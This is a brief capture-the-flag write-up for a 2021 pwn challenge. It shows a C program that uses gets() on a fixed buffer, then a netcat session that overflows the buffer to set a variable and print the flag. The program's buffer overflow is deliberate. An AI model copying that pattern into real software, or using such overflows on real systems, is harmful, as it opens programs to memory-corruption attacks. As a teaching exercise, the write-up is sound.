Incognito wtfCTF 2021: MoM5m4g1c

MoM5m4g1c

Category: Pwn

chal

100 points

Son:I want my chocolate mom! Mother: Fill the water bottle son! :)

nc 20.42.99.115 3000

Author: OrkinKing

file: MoM5m4g1C.c

MoM5m4g1C.c

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  int water;
  char bottle[125];

  water = 0;
  printf("Fill the water bottle kid!");
  gets(bottle);
  printf("%d\n", water);
  if(water != 0) {
      system("cat gift.txt");
  } else {
      printf("You are crazy lazy!:)\n");
  }
}

Solution

In the code there’s a possible overflow because of gets function used. By overflown there’s a possibility to set water variable to any value. Example below.

luc@slon:~/tmp$ nc 20.42.99.115 3000
111111111111111111111111111111111111111111111111111222222222222222222222222222222222222222222222222222222222222222222222
222222222222222222222222222222222222222222333333333333333333333333333333333333333333333333333333333333333333333333333333
33333333333333333333333333333333333333333344444444444444444444444444444444444444444
wtfCTF{N1c3!n0w_U_c4N_34t_uR_Ch0c0L4t3}

Flag

wtfCTF{N1c3!n0w_U_c4N_34t_uR_Ch0c0L4t3}

Privacy Policy
luc © 2021